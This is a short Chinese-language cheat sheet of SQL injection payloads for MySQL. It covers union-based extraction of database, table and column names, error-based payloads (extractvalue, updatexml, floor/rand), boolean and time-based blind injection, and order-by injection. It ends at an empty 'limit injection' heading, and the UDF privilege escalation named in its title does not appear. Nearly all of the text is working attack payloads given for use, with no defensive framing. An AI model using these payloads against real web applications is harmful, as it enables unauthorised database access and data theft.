sql注入常见方法及udf提权

sql注入总结

1.联合注入

order by 判断字段数或者通过union select 1，2，3.。。。。。来判断字段数和输出位置

获取当前数据库 union select 1,database()-- -

获取数据库中的表 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

获取表中的字段名 union select 1,group_concat(column_name) from information_schema.columns where table_name=’ '-- -

2.报错注入

select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;

select * from xxx where id=‘12’ or extractvalue(1,concat(user(),0x7e,version()))

select * from xxx where id=‘12’ or updatexml(1,concat(user(),0x7e,version()),1)

3.盲注

3.1布尔盲注

猜解长度 之后逐个通过ascii猜解通过返回不同的结果来判断

select * from xxx where id=‘12’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109

select ascii(substr(database(),1,1))=100;

3.2时间盲注

猜解长度 之后逐个通过ascii猜解通过返回不同的时间来判断

select * from xxx where id=‘12’ and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1 )) > 120,sleep(2),NULL)

4.order by注入

select * from xxx order by updatexml(1,if(1=1,1,user()),1)

select * from xxx order by IF(1=1,1,(select+1+union+select+2))

select * from xxx order by (select+1+regexp+if(1=1,1,0x00))

select * from xxx order by extractvalue(1,if(1=1,1,user()))

select * from xxx order by if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))

5.limit注入